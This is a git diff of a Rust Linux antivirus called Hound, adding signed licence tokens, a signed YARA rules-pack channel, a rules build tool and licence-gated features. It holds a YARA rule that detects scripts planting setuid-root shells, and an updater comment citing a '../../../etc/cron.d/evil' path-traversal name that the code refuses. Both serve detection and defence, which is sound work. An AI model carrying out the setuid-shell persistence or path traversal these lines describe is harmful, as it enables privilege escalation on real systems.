"critical" + action = "alert" + desc = "A script that plants a setuid-root shell for privilege persistence." + strings: + $sb = "#!/bin/" + $cp = /cp\s+[^\n]{0,80}\/(bin|usr\/bin)\/(ba)?sh\s/ + $chm = /chmod\s+([46][0-7]{3}|u\+s|\+s)\s/ + condition: + filesize < 64KB and $sb in (0..64) and $cp and $chm +} diff --git a/crates/hound-defs/src/lib.rs b/crates/hound-defs/src/lib.rs index 7774cf6..85d7c1a 100644 --- a/crates/hound-defs/src/lib.rs +++ b/crates/hound-defs/src/lib.rs @@ -16,4 +16,4 @@ pub mod pack; pub use index::{CuckooFilter, Index}; pub use osv::{Indicator, Versions}; -pub use pack::{Pack, SignedPack}; +pub use pack::{Pack, RulesPack, SignedPack}; diff --git a/crates/hound-defs/src/pack.rs b/crates/hound-defs/src/pack.rs index c88b65e..6363228 100644 --- a/crates/hound-defs/src/pack.rs +++ b/crates/hound-defs/src/pack.rs @@ -84,7 +84,7 @@ impl std::fmt::Display for Error { Error::Encode(e) => write!(f, "encoding the pack: {e}"), Error::BadSignature => write!( f, - "the definitions pack is not signed by Hound and was discarded" + "the file is not signed by Hound and was discarded" ), Error::UnknownKey(id) => write!(f, "pack signed by unknown key {id}"), Error::Malformed(e) => write!(f, "malformed pack: {e}"), @@ -105,13 +105,18 @@ pub fn sign(pack: &Pack, signing_key: &SigningKey, key_id: &str) -> Result Result { +/// Definition packs parse the bytes as JSON; the licence verifier parses +/// them as the canonical licence text; the rules-pack channel parses them +/// as a rules manifest. All of them go through this one function, so there +/// is exactly one signature check to audit and no way for a second +/// implementation to drift. +pub fn verify_detached( + signed: &SignedPack, + trusted: &[(&str, VerifyingKey)], +) -> Result, Error> { let Some((_, key)) = trusted.iter().find(|(id, _)| *id == signed.key_id) else { return Err(Error::UnknownKey(signed.key_id.clone())); }; @@ -126,7 +131,77 @@ pub fn verify(signed: &SignedPack, trusted: &[(&str, VerifyingKey)]) -> Result

Result { + let payload = verify_detached(signed, trusted)?; + serde_json::from_slice(&payload).map_err(|e| Error::Malformed(e.to_string())) +} + +/// A signed YARA rules pack — the delivery channel for the curated Hound +/// Linux threat pack. +/// +/// Distinct from a definitions [`Pack`]: that one carries package +/// *indicators* (names and versions the supply-chain sweep matches +/// against), this one carries YARA *source* that the engine compiles into +/// the live ruleset. Both travel inside the same [`SignedPack`] envelope +/// and are verified by the same [`verify_detached`], so a rules pack that +/// is not really ours never reaches the YARA compiler. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq, Eq)] +pub struct RulesPack { + /// Pack version, e.g. "2026.08.21". Shown by `hound status` as the + /// ruleset version once loaded. + pub version: String, + /// When it was built, RFC3339. + pub created: String, + /// Basename the agent installs it under (without extension). Kept + /// inside the signed payload so a hostile index cannot rename one pack + /// over another. + pub name: String, + /// The YARA source itself. + pub yara: String, +} + +/// Sign arbitrary payload bytes. Build-side only. +pub fn sign_bytes(payload: Vec, signing_key: &SigningKey, key_id: &str) -> SignedPack { + let signature = signing_key.sign(&payload); + SignedPack { + payload, + signature: signature.to_bytes().to_vec(), + key_id: key_id.to_string(), + } +} + +/// Verify and decode a rules pack. Same discipline as [`verify`]: the +/// signature is checked before the payload is parsed. +pub fn verify_rules( + signed: &SignedPack, + trusted: &[(&str, VerifyingKey)], +) -> Result { + let payload = verify_detached(signed, trusted)?; + serde_json::from_slice(&payload).map_err(|e| Error::Malformed(e.to_string())) +} + +/// Decode the compact single-line form of a signed blob: base64 of its +/// JSON. This is the shape a licence token travels in — something a person +/// can paste into a terminal without a JSON string surviving two levels of +/// shell quoting. +pub fn decode_token(token: &str) -> Option { + let json = base64_bytes::decode(token.trim())?; + serde_json::from_slice(&json).ok() +} + +/// The inverse of [`decode_token`], for the issuer and for tests. +pub fn encode_token(signed: &SignedPack) -> Result { + let json = serde_json::to_vec(signed).map_err(|e| Error::Encode(e.to_string()))?; + Ok(base64_bytes::encode(&json)) } /// Base64 for the byte fields, so a signed pack is a plain JSON file. @@ -347,6 +422,65 @@ mod tests { assert!(base64_bytes::decode("not base64 !!!").is_none()); } + // ── rules packs ── + + #[test] + fn a_rules_pack_round_trips_and_a_tampered_one_is_refused() { + let key = test_key(); + let rp = RulesPack { + version: "2026.08.21".into(), + created: "2026-08-21T12:00:00Z".into(), + name: "hound-linux".into(), + yara: "rule X { condition: false }".into(), + }; + let mut signed = sign_bytes(serde_json::to_vec(&rp).unwrap(), &key, "hound-2026"); + let trusted = [("hound-2026", key.verifying_key())]; + assert_eq!(verify_rules(&signed, &trusted).unwrap(), rp); + + // One flipped bit and the YARA source never reaches a compiler. + let pos = signed.payload.len() / 2; + signed.payload[pos] ^= 0x01; + assert_eq!(verify_rules(&signed, &trusted), Err(Error::BadSignature)); + } + + // ── the compact token form ── + + #[test] + fn a_token_round_trips_and_still_verifies() { + let key = test_key(); + let signed = sign(&a_pack(), &key, "hound-2026").unwrap(); + let token = encode_token(&signed).unwrap(); + assert!( + token.chars().all(|c| !c.is_whitespace()), + "a token must survive being pasted into a terminal" + ); + let back = decode_token(&token).expect("the token must decode"); + let trusted = [("hound-2026", key.verifying_key())]; + assert_eq!(verify(&back, &trusted).unwrap(), a_pack()); + } + + #[test] + fn a_corrupted_token_is_refused_not_guessed_at() { + let key = test_key(); + let signed = sign(&a_pack(), &key, "hound-2026").unwrap(); + let token = encode_token(&signed).unwrap(); + assert!(decode_token(&token[..token.len() / 2]).is_none()); + assert!(decode_token("!!definitely not a token!!").is_none()); + } + + #[test] + fn verify_detached_returns_the_exact_signed_bytes() { + // A licence signs canonical text, not JSON. The detached form must + // hand back precisely what was signed, or the caller acts on + // something other than what was checked. + let key = test_key(); + let payload = b"hound-license-v1\ntier=pro\n".to_vec(); + let signature = key.sign(&payload).to_bytes().to_vec(); + let signed = SignedPack { payload: payload.clone(), signature, key_id: "hound-2026".into() }; + let trusted = [("hound-2026", key.verifying_key())]; + assert_eq!(verify_detached(&signed, &trusted).unwrap(), payload); + } + #[test] fn errors_read_like_something_a_person_can_act_on() { assert!(Error::BadSignature.to_string().contains("discarded")); diff --git a/crates/hound/src/main.rs b/crates/hound/src/main.rs index f7728bd..eda7b26 100644 --- a/crates/hound/src/main.rs +++ b/crates/hound/src/main.rs @@ -168,6 +168,18 @@ enum Cmd { #[command(subcommand)] action: Option, }, + /// Show this machine's licence, or install one + License { + #[command(subcommand)] + action: Option, + }, +} + +#[derive(Subcommand)] +enum LicenseCmd { + /// Install a licence token — paste the token itself, or give a path to + /// a file that contains it + Install { token: String }, } #[derive(Subcommand)] @@ -390,6 +402,28 @@ fn print_defs(d: &hound_api::DefsStatus) { /// `timed_out` is the one number worth alarming on: above zero it means /// scans are slow enough that the watchdog is releasing processes /// unscanned, so the gate has quietly degraded to advisory. +fn print_license(l: &hound_api::LicenseStatus) { + let tier = match l.tier.as_str() { + "pro" => "Pro".green().bold().to_string(), + "fleet" => "Fleet".green().bold().to_string(), + _ => "Free".normal().to_string(), + }; + let mut line = format!(" Licence: {tier}"); + if !l.holder.is_empty() { + line.push_str(&format!(" — {}", l.holder)); + } + if !l.expires.is_empty() { + line.push_str(&format!(", until {}", l.expires)); + } + if l.seats > 0 { + line.push_str(&format!(", {} seats", l.seats)); + } + println!("{line}"); + if !l.detail.is_empty() { + println!(" {}", l.detail.yellow()); + } +} + fn print_gate(g: &hound_api::GateStatus) { if !g.active { let why = if g.detail.is_empty() { "off" } else { &g.detail }; @@ -654,6 +688,7 @@ fn run(client: &Client, cmd: &Cmd) -> Result { } print_defs(&st.defs); print_gate(&st.gate); + print_license(&st.license); } else { println!( "{} {} [engine: {}]", @@ -995,6 +1030,48 @@ fn run(client: &Client, cmd: &Cmd) -> Result { } Ok(0) } + Cmd::License { action } => match action { + None => { + let st = client.status()?; + print_license(&st.license); + if st.license.tier == "free" { + println!( + " Free includes every scan and hygiene check on this\n\ + \x20 machine. Pro adds the execution gate, the full\n\ + \x20 malicious-package feed and the Linux threat pack —\n\ + \x20 https://houndav.com/#pricing" + ); + } + Ok(0) + } + Some(LicenseCmd::Install { token }) => { + // A file path is kinder than 600 characters of base64 on the + // command line; accept both. + let text = if std::path::Path::new(token).is_file() { + std::fs::read_to_string(token)? + } else { + token.clone() + }; + let l = client.license_install(text.trim())?; + print_license(&l); + println!("{} licence installed", "✔".green().bold()); + if l.tier != "free" { + println!( + " The full definitions feed is active from the next update — run\n\ + \x20 `sudo hound update` to fetch it now." + ); + let gate_active = client.status().map(|s| s.gate.active).unwrap_or(false); + if !gate_active { + println!( + " To arm the execution gate:\n\ + \x20 sudo hound settings exec-gate on\n\ + \x20 sudo systemctl restart houndd" + ); + } + } + Ok(0) + } + }, } } diff --git a/crates/houndd/examples/build-rules-pack.rs b/crates/houndd/examples/build-rules-pack.rs new file mode 100644 index 0000000..4dd611c --- /dev/null +++ b/crates/houndd/examples/build-rules-pack.rs @@ -0,0 +1,138 @@ +//! Build, gate and sign the Hound Linux threat pack. +//! +//! build-rules-pack [created] +//! +//! Three things happen, in this order, and any one of them failing aborts +//! the build: +//! +//! 1. **Compile.** The YARA source has to compile under the exact +//! engine the agent runs (yara-x), or a broken pack would take down +//! every agent that loaded it — the daemon skips a pack it cannot +//! compile, so a bad pack is a silent loss of detection. +//! +//! 2. **Goodware gate.** Every rule is scanned against /usr/bin, /bin +//! and /usr/sbin on this machine. One hit on a system binary and the +//! build fails — a rule that quarantines a real binary is worse than +//! no rule at all, and the whole product dies the first time it eats +//! somebody's `sudo`. This is the same gate as the built-in pack's +//! unit test, run here before anything is signed. +//! +//! 3. **Sign.** Only a pack that compiled and passed the gate is wrapped +//! in the signed envelope and written out, so nothing unverifiable or +//! untested ever reaches the feed. +//! +//! The signing key is loaded from the key file (never generated here — a +//! threat pack signed by a throwaway key is a threat pack no agent trusts). + +use ed25519_dalek::SigningKey; +use hound_defs::{pack, RulesPack}; + +fn die(msg: impl std::fmt::Display) -> ! { + eprintln!("build-rules-pack: {msg}"); + std::process::exit(1); +} + +fn load_key(path: &str) -> SigningKey { + let bytes = std::fs::read(path).unwrap_or_else(|e| die(format!("reading key {path}: {e}"))); + let seed: [u8; 32] = bytes + .get(..32) + .and_then(|s| s.try_into().ok()) + .unwrap_or_else(|| die(format!("{path} is not at least a 32-byte key"))); + SigningKey::from_bytes(&seed) +} + +/// Compile the pack together with the built-in rules, exactly as the +/// daemon does, and return the compiled ruleset. +fn compile(yara: &str) -> yara_x::Rules { + let mut compiler = yara_x::Compiler::new(); + compiler + .add_source(yara_x::SourceCode::from(yara).with_origin("hound-linux.yar")) + .unwrap_or_else(|e| die(format!("the pack does not compile:\n{e}"))); + compiler.build() +} + +/// Scan the system binaries and abort on any match. Returns how many +/// binaries were checked, so the caller can insist the gate was meaningful. +fn goodware_gate(rules: &yara_x::Rules) -> usize { + let mut scanner = yara_x::Scanner::new(rules); + let mut checked = 0usize; + let mut failures: Vec = Vec::new(); + + for dir in ["/usr/bin", "/bin", "/usr/sbin", "/usr/lib", "/lib"] { + let Ok(entries) = std::fs::read_dir(dir) else { continue }; + for entry in entries.flatten() { + let path = entry.path(); + let Ok(md) = std::fs::symlink_metadata(&path) else { continue }; + if md.is_symlink() || !md.is_file() || md.len() > 32 * 1024 * 1024 { + continue; + } + let Ok(bytes) = std::fs::read(&path) else { continue }; + checked += 1; + if let Ok(res) = scanner.scan(&bytes) { + for m in res.matching_rules() { + failures.push(format!("{} -> {}", path.display(), m.identifier())); + } + } + } + } + + if !failures.is_empty() { + die(format!( + "GOODWARE GATE FAILED — {} false positive(s) on system files:\n {}", + failures.len(), + failures.join("\n ") + )); + } + checked +} + +fn main() { + let args: Vec = std::env::args().skip(1).collect(); + if args.len() < 5 { + die("usage: build-rules-pack [created]"); + } + let (src_path, name, out, key_path, version) = + (&args[0], &args[1], &args[2], &args[3], &args[4]); + let created = args + .get(5) + .cloned() + .unwrap_or_else(|| "1970-01-01T00:00:00Z".into()); + + if name.is_empty() + || name.len() > 64 + || !name.chars().all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_')) + { + die(format!("pack name {name:?} must be a plain [A-Za-z0-9_-] basename")); + } + + let yara = std::fs::read_to_string(src_path) + .unwrap_or_else(|e| die(format!("reading {src_path}: {e}"))); + + let rules = compile(&yara); + let rule_count = rules.iter().count(); + eprintln!("compiled {rule_count} rule(s)"); + + let checked = goodware_gate(&rules); + if checked < 200 { + die(format!( + "goodware gate only saw {checked} binaries — run this on a real system so the gate means something" + )); + } + eprintln!("goodware gate: {checked} system files scanned, 0 false positives"); + + let rp = RulesPack { + version: version.clone(), + created, + name: name.clone(), + yara, + }; + let payload = serde_json::to_vec(&rp).unwrap_or_else(|e| die(format!("encoding: {e}"))); + + let key = load_key(key_path); + let key_id = std::env::var("HOUND_KEY_ID").unwrap_or_else(|_| "hound-2026".into()); + let signed = pack::sign_bytes(payload, &key, &key_id); + std::fs::write(out, serde_json::to_string(&signed).unwrap()) + .unwrap_or_else(|e| die(format!("writing {out}: {e}"))); + + eprintln!("wrote {out} — {rule_count} rules, version {version}, signed by {key_id}"); +} diff --git a/crates/houndd/src/license.rs b/crates/houndd/src/license.rs new file mode 100644 index 0000000..604ef96 --- /dev/null +++ b/crates/houndd/src/license.rs @@ -0,0 +1,326 @@ +//! The installed licence: where it lives, how it is verified, and what is +//! actually in force. +//! +//! A licence is an Ed25519-signed token — the same signature scheme, the +//! same trusted keys and the same verify-before-parse discipline as a +//! definitions pack. See `hound_api::license` for why the check exists at +//! all (it is not copy protection) and `hound_defs::pack` for the +//! signature layer. +//! +//! The rules this module enforces: +//! +//! * **Verification failing means Free, never nothing.** A corrupt token, +//! a wrong key, an unreadable file — every failure degrades to the Free +//! tier with the reason recorded, and the daemon keeps protecting the +//! machine. A security product that answers a licence problem by +//! switching itself off has chosen revenue over the user's safety. +//! * **Expiry is a downgrade, not a lockout.** A lapsed Pro licence leaves +//! exactly what a fresh Free install has. +//! * **Nothing unverified is ever written.** `install` verifies the token +//! before persisting it, so the file on disk is always one that at least +//! verified once. + +use anyhow::{Context, Result}; +use hound_api::license::License; +use hound_api::LicenseStatus; +use hound_defs::{pack, SignedPack}; +use std::path::PathBuf; +use std::sync::{Arc, RwLock}; + +/// Where the token lives. The licence is not a secret — it grants nothing +/// without the machine it is installed on — but it names its holder, so +/// the file is written 0600 all the same. +pub fn license_path() -> PathBuf { + if let Some(p) = std::env::var_os("HOUNDD_LICENSE_PATH") { + return PathBuf::from(p); + } + if crate::caps::is_root() { + return PathBuf::from("/var/lib/hound/license.token"); + } + let home = std::env::var("HOME").unwrap_or_else(|_| "/root".into()); + PathBuf::from(home).join(".local/share/hound/license.token") +} + +/// Today, as the ISO date expiry comparisons use. +fn today() -> String { + let now = time::OffsetDateTime::now_utc().date(); + format!("{:04}-{:02}-{:02}", now.year(), u8::from(now.month()), now.day()) +} + +/// What the daemon is acting on. +pub struct State { + /// The tier in force after verification and expiry. This is what every + /// capability check consults. + pub effective: License, + /// What the installed token says, before expiry, for display. + pub installed: Option, + /// Why `effective` differs from `installed`, or why nothing is + /// installed. Empty when everything is as the token says. + pub detail: String, +} + +impl State { + fn free(detail: impl Into) -> Self { + State { + effective: License::default(), + installed: None, + detail: detail.into(), + } + } + + /// The wire shape for `hound status` and the GUI. + pub fn status(&self) -> LicenseStatus { + let shown = self.installed.as_ref().unwrap_or(&self.effective); + LicenseStatus { + tier: self.effective.tier.as_str().to_string(), + holder: shown.holder.clone(), + expires: shown.expires.clone(), + seats: shown.seats, + detail: self.detail.clone(), + } + } +} + +/// Verify a token string against the trusted keys and return the licence +/// it carries. This is the only path from bytes to a `License` the daemon +/// will act on. +pub fn parse_token(token: &str) -> Result { + let token = token.trim(); + let signed: SignedPack = if token.starts_with('{') { + // The raw JSON form, as written to disk. + serde_json::from_str(token).context("this is not a Hound licence")? + } else { + pack::decode_token(token).context("this is not a Hound licence token")? + }; + + let keys = crate::defs::trusted_keys(); + let trusted: Vec<(&str, ed25519_dalek::VerifyingKey)> = + keys.iter().map(|(id, k)| (id.as_str(), *k)).collect(); + + let payload = pack::verify_detached(&signed, &trusted).map_err(|e| anyhow::anyhow!("{e}"))?; + let text = std::str::from_utf8(&payload).context("the licence payload is not text")?; + License::from_canonical(text).context("the signed payload is not a licence") +} + +/// Apply expiry to a verified licence. +fn evaluate(installed: License) -> State { + if installed.expired_on(&today()) { + let detail = format!( + "the {} licence for {} expired on {} — running as Free; every scan and \ + hygiene check still works", + installed.tier.as_str(), + if installed.holder.is_empty() { "this machine" } else { &installed.holder }, + installed.expires + ); + return State { + effective: License::default(), + installed: Some(installed), + detail, + }; + } + State { + effective: installed.clone(), + installed: Some(installed), + detail: String::new(), + } +} + +/// Load whatever is on disk. Never fails: every problem is a reasoned +/// fall-back to Free. +fn load() -> State { + let path = license_path(); + let text = match std::fs::read_to_string(&path) { + Ok(t) => t, + Err(e) if e.kind() == std::io::ErrorKind::NotFound => { + return State::free(""); + } + Err(e) => { + return State::free(format!( + "could not read {} ({e}) — running as Free", + path.display() + )); + } + }; + match parse_token(&text) { + Ok(lic) => evaluate(lic), + Err(e) => State::free(format!("the installed licence was refused ({e}) — running as Free")), + } +} + +/// Hot-swappable handle, mirroring how rules and definitions are held. +#[derive(Clone)] +pub struct LicenseStore { + inner: Arc>>, +} + +impl LicenseStore { + pub fn load() -> Self { + Self { + inner: Arc::new(RwLock::new(Arc::new(load()))), + } + } + + pub fn current(&self) -> Arc { + Arc::clone(&self.inner.read().expect("license store poisoned")) + } + + /// Verify a token and, only then, persist and adopt it. + pub fn install(&self, token: &str) -> Result> { + let lic = parse_token(token)?; + + let path = license_path(); + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent) + .with_context(|| format!("creating {}", parent.display()))?; + } + // Write-then-rename, like a definitions pack: the file either holds + // the old licence or the new one, never half of each. + let tmp = path.with_extension("token.part"); + std::fs::write(&tmp, token.trim()) + .with_context(|| format!("writing {}", tmp.display()))?; + let _ = std::fs::set_permissions(&tmp, { + use std::os::unix::fs::PermissionsExt; + std::fs::Permissions::from_mode(0o600) + }); + std::fs::rename(&tmp, &path) + .with_context(|| format!("installing {}", path.display()))?; + + let fresh = Arc::new(evaluate(lic)); + *self.inner.write().expect("license store poisoned") = Arc::clone(&fresh); + Ok(fresh) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use ed25519_dalek::{Signer, SigningKey}; + use hound_api::license::{Capability, Tier}; + + fn token_for(lic: &License, key: &SigningKey, key_id: &str) -> String { + let payload = lic.canonical().into_bytes(); + let signature = key.sign(&payload).to_bytes().to_vec(); + let signed = SignedPack { payload, signature, key_id: key_id.into() }; + pack::encode_token(&signed).unwrap() + } + + fn hex_of(k: &SigningKey) -> String { + k.verifying_key().to_bytes().iter().map(|b| format!("{b:02x}")).collect() + } + + #[test] + fn a_valid_token_grants_its_tier() { + let key = SigningKey::from_bytes(&[11u8; 32]); + let lic = License { + tier: Tier::Pro, + holder: "Somebody ".into(), + expires: "2099-01-01".into(), + seats: 0, + }; + let token = token_for(&lic, &key, "dev"); + + let _guard = crate::test_util::locked(); + std::env::set_var("HOUNDD_DEFS_KEY", hex_of(&key)); + let parsed = parse_token(&token).expect("a valid token must parse"); + std::env::remove_var("HOUNDD_DEFS_KEY"); + + assert_eq!(parsed.tier, Tier::Pro); + assert!(parsed.allows(Capability::ExecutionGate)); + + let state = evaluate(parsed); + assert_eq!(state.effective.tier, Tier::Pro); + assert!(state.detail.is_empty()); + } + + #[test] + fn a_tampered_token_is_free_not_fatal() { + let key = SigningKey::from_bytes(&[11u8; 32]); + let attacker = SigningKey::from_bytes(&[12u8; 32]); + let lic = License { tier: Tier::Fleet, seats: 100, ..Default::default() }; + let forged = token_for(&lic, &attacker, "dev"); + + let _guard = crate::test_util::locked(); + std::env::set_var("HOUNDD_DEFS_KEY", hex_of(&key)); + let refused = parse_token(&forged); + std::env::remove_var("HOUNDD_DEFS_KEY"); + + assert!(refused.is_err(), "a token signed by the wrong key must not parse"); + } + + #[test] + fn an_expired_licence_runs_as_free_and_says_so() { + let lic = License { + tier: Tier::Pro, + holder: "Lapsed ".into(), + expires: "2020-01-01".into(), + seats: 0, + }; + let state = evaluate(lic); + assert_eq!(state.effective.tier, Tier::Free); + assert!(!state.effective.allows(Capability::ExecutionGate)); + assert!(state.detail.contains("expired on 2020-01-01")); + assert!( + state.detail.contains("still works"), + "the lapse message must say what the user keeps: {}", + state.detail + ); + // The wire status reports the tier in force, not the token's claim. + let s = state.status(); + assert_eq!(s.tier, "free"); + assert_eq!(s.holder, "Lapsed "); + } + + #[test] + fn no_licence_file_is_plain_free_with_no_complaint() { + let _guard = crate::test_util::locked(); + std::env::set_var("HOUNDD_LICENSE_PATH", "/nonexistent/nowhere.token"); + let state = load(); + std::env::remove_var("HOUNDD_LICENSE_PATH"); + assert_eq!(state.effective.tier, Tier::Free); + assert!(state.installed.is_none()); + assert!(state.detail.is_empty(), "Free is not an error state: {}", state.detail); + } + + #[test] + fn install_verifies_before_writing_and_survives_a_reload() { + let dir = std::env::temp_dir().join(format!("hound-lic-{}", std::process::id())); + let _ = std::fs::remove_dir_all(&dir); + std::fs::create_dir_all(&dir).unwrap(); + let path = dir.join("license.token"); + + let key = SigningKey::from_bytes(&[11u8; 32]); + let lic = License { tier: Tier::Pro, expires: "2099-01-01".into(), ..Default::default() }; + let token = token_for(&lic, &key, "dev"); + + let _guard = crate::test_util::locked(); + std::env::set_var("HOUNDD_LICENSE_PATH", &path); + std::env::set_var("HOUNDD_DEFS_KEY", hex_of(&key)); + + let store = LicenseStore::load(); + assert_eq!(store.current().effective.tier, Tier::Free); + + // Garbage is refused and never lands on disk. + assert!(store.install("not a token").is_err()); + assert!(!path.exists(), "a refused token must not be persisted"); + + let state = store.install(&token).expect("a valid token installs"); + assert_eq!(state.effective.tier, Tier::Pro); + assert!(path.exists()); + + // A fresh daemon picks it straight back up. + let reloaded = LicenseStore::load(); + assert_eq!(reloaded.current().effective.tier, Tier::Pro); + + std::env::remove_var("HOUNDD_LICENSE_PATH"); + std::env::remove_var("HOUNDD_DEFS_KEY"); + let _ = std::fs::remove_dir_all(&dir); + } + + #[test] + fn today_is_an_iso_date() { + let t = today(); + assert_eq!(t.len(), 10); + assert_eq!(&t[4..5], "-"); + assert!(t >= "2026-01-01".to_string(), "clock sanity: {t}"); + } +} diff --git a/crates/houndd/src/main.rs b/crates/houndd/src/main.rs index e6b6208..22f0f7b 100644 --- a/crates/houndd/src/main.rs +++ b/crates/houndd/src/main.rs @@ -46,6 +46,7 @@ mod defs; mod engine; mod events; mod fanotify; +mod license; mod native; mod peer; mod persistence; @@ -81,6 +82,7 @@ struct DaemonState { quarantine: quarantine::Quarantine, realtime: realtime::RealtimeMonitor, defs: defs::DefsStore, + license: license::LicenseStore, /// The execution gate, when it came up. `None` covers both "switched /// off" and "could not be armed"; `gate_detail` says which. gate: Option>, @@ -174,8 +176,28 @@ impl DaemonState { let realtime = realtime::RealtimeMonitor::new(settings.clone(), quarantine.clone(), events.clone()); + let license = license::LicenseStore::load(); + { + let l = license.current(); + match (&l.installed, l.detail.is_empty()) { + (Some(inst), true) => eprintln!( + "license: {} ({}{})", + l.effective.tier.as_str(), + if inst.holder.is_empty() { "unnamed" } else { &inst.holder }, + if inst.expires.is_empty() { + String::new() + } else { + format!(", until {}", inst.expires) + } + ), + (_, false) => eprintln!("license: {}", l.detail), + (None, true) => eprintln!("license: free tier"), + } + } + let s = settings.get(); - let (gate, gate_detail, gate_paths) = Self::arm_gate(&s, &events, &quarantine); + let (gate, gate_detail, gate_paths) = + Self::arm_gate(&s, &license.current().effective, &events, &quarantine); // The inotify monitor is now the FALLBACK, not the primary path. // @@ -206,6 +228,7 @@ impl DaemonState { quarantine, realtime, defs, + license, gate, gate_detail: std::sync::Arc::new(gate_detail), gate_paths, @@ -221,6 +244,7 @@ impl DaemonState { /// protects nothing. fn arm_gate( s: &Settings, + lic: &hound_api::license::License, events: &events::EventLog, quarantine: &quarantine::Quarantine, ) -> (Option>, String, Vec) { @@ -228,6 +252,15 @@ impl DaemonState { eprintln!("gate: disabled in settings"); return (None, "disabled".into(), Vec::new()); } + // The licence check sits before the root check on purpose: "this is + // part of Pro" is the answer a Free user can act on, whereas "needs + // root" invites them to escalate and hit the licence wall anyway. + if !lic.allows(hound_api::license::Capability::ExecutionGate) { + let why = hound_api::license::Capability::ExecutionGate.explain_absence(); + events.push("gate", "info", why.into()); + eprintln!("gate: off — {why}"); + return (None, why.into(), Vec::new()); + } if !caps::is_root() { let why = "needs root (CAP_SYS_ADMIN)"; events.push("gate", "warn", format!("execution gate off: {why}")); @@ -757,6 +790,32 @@ fn dispatch(req: &hound_api::Request, st: &DaemonState) -> Result { Ok(serde_json::to_value(report)?) } + // ── licence ── + "license.install" => { + let token = req + .params + .as_ref() + .and_then(|p| p.get("token")) + .and_then(Value::as_str) + .context("license.install requires params.token")?; + let state = st.license.install(token)?; + let s = state.status(); + st.events.push( + "license", + "info", + format!( + "licence installed: {} tier{}", + s.tier, + if s.holder.is_empty() { + String::new() + } else { + format!(" for {}", s.holder) + } + ), + ); + Ok(serde_json::to_value(s)?) + } + // ── realtime ── "realtime.status" => Ok(serde_json::to_value(st.realtime.status())?), "realtime.set_enabled" => { @@ -786,6 +845,18 @@ fn dispatch(req: &hound_api::Request, st: &DaemonState) -> Result { /// One definitions check, using the same install path as `hound update` so /// there is no second implementation to drift. Returns how many packs landed. fn scheduled_defs_update(st: &DaemonState) -> Result { + // The full feed is what a Pro subscription pays for. Checked here, at + // fetch time rather than at boot, so installing a licence takes effect + // on the next cycle without a restart — and a lapse stops the fetch + // without touching what is already on disk. + if !st + .license + .current() + .effective + .allows(hound_api::license::Capability::FullSupplyChainFeed) + { + return Ok(0); + } let keys = defs::trusted_keys(); let trusted: Vec<(&str, ed25519_dalek::VerifyingKey)> = keys.iter().map(|(id, k)| (id.as_str(), *k)).collect(); @@ -969,6 +1040,7 @@ fn status(st: &DaemonState) -> Result { detail: d.detail.clone(), } }, + license: st.license.current().status(), }) } @@ -1009,28 +1081,43 @@ fn update(st: &DaemonState) -> Result { let trusted: Vec<(&str, ed25519_dalek::VerifyingKey)> = keys.iter().map(|(id, k)| (id.as_str(), *k)).collect(); - match update::run(&update::install_dir(), &trusted) { - Ok(outcome) => { - lines.push(format!("definitions: {}", outcome.summary())); - lines.extend(outcome.log.iter().map(|l| format!(" {l}"))); - if !outcome.installed.is_empty() { - let loaded = st.defs.reload(); - lines.push(format!( - " loaded {} indicators from {} pack(s) [{}]", - loaded.indicators, - loaded.packs.len(), - loaded.version - )); + let feed_licensed = st + .license + .current() + .effective + .allows(hound_api::license::Capability::FullSupplyChainFeed); + if !feed_licensed { + // Said once, plainly, in the update output — and never as a nag + // anywhere else. The built-in rules still reload below, and any + // packs already on disk stay loaded. + lines.push(format!( + "definitions: {}", + hound_api::license::Capability::FullSupplyChainFeed.explain_absence() + )); + } else { + match update::run(&update::install_dir(), &trusted) { + Ok(outcome) => { + lines.push(format!("definitions: {}", outcome.summary())); + lines.extend(outcome.log.iter().map(|l| format!(" {l}"))); + if !outcome.installed.is_empty() { + let loaded = st.defs.reload(); + lines.push(format!( + " loaded {} indicators from {} pack(s) [{}]", + loaded.indicators, + loaded.packs.len(), + loaded.version + )); + } + let sev = if outcome.rejected.is_empty() { "info" } else { "warn" }; + st.events + .push("update", sev, format!("definitions: {}", outcome.summary())); + } + Err(e) => { + // Reported, not fatal. + lines.push(format!("definitions: could not update — {e}")); + st.events + .push("update", "warn", format!("definitions update failed: {e}")); } - let sev = if outcome.rejected.is_empty() { "info" } else { "warn" }; - st.events - .push("update", sev, format!("definitions: {}", outcome.summary())); - } - Err(e) => { - // Reported, not fatal. - lines.push(format!("definitions: could not update — {e}")); - st.events - .push("update", "warn", format!("definitions update failed: {e}")); } } diff --git a/crates/houndd/src/peer.rs b/crates/houndd/src/peer.rs index 10e7b80..c14dc69 100644 --- a/crates/houndd/src/peer.rs +++ b/crates/houndd/src/peer.rs @@ -272,6 +272,8 @@ mod tests { "quarantine.restore", "quarantine.remove", "realtime.set_enabled", + // Installing a licence writes a file the daemon acts on. + "license.install", ] { assert_eq!(access_for(admin), Access::Admin, "{admin} must require root"); } diff --git a/crates/houndd/src/update.rs b/crates/houndd/src/update.rs index 1eacd0f..32f9858 100644 --- a/crates/houndd/src/update.rs +++ b/crates/houndd/src/update.rs @@ -60,6 +60,10 @@ pub struct IndexEntry { pub struct Index { #[serde(default)] pub packs: Vec, + /// Signed YARA rules packs — the curated threat pack channel. Absent + /// from older indexes, which is an empty list, which is fine. + #[serde(default)] + pub rules: Vec, } /// What one update run did. @@ -96,11 +100,12 @@ impl Outcome { /// /// Without this, an entry of `../../../etc/cron.d/evil` would have the /// updater write wherever it liked — a path traversal handed to a process -/// running as root. Only a plain basename ending in `.pack` is accepted. -pub fn safe_pack_name(name: &str) -> bool { +/// running as root. Only a plain basename with the expected extension is +/// accepted. +fn safe_name(name: &str, extension: &str) -> bool { !name.is_empty() && name.len() <= 128 - && name.ends_with(".pack") + && name.ends_with(extension) && !name.contains('/') && !name.contains('\\') && !name.contains("..") @@ -110,6 +115,14 @@ pub fn safe_pack_name(name: &str) -> bool { .all(|c| c.is_ascii_alphanumeric() || matches!(c, '-' | '_' | '.')) } +pub fn safe_pack_name(name: &str) -> bool { + safe_name(name, ".pack") +} + +pub fn safe_rules_name(name: &str) -> bool { + safe_name(name, ".rpack") +} + fn sha256_hex(bytes: &[u8]) -> String { let mut h = Sha256::new(); h.update(bytes); @@ -230,9 +243,139 @@ pub fn run(dir: &Path, trusted: &[(&str, ed25519_dalek::VerifyingKey)]) -> Resul out.installed.push(entry.file.clone()); } + install_rules_packs(&base, &index, trusted, &mut out); + 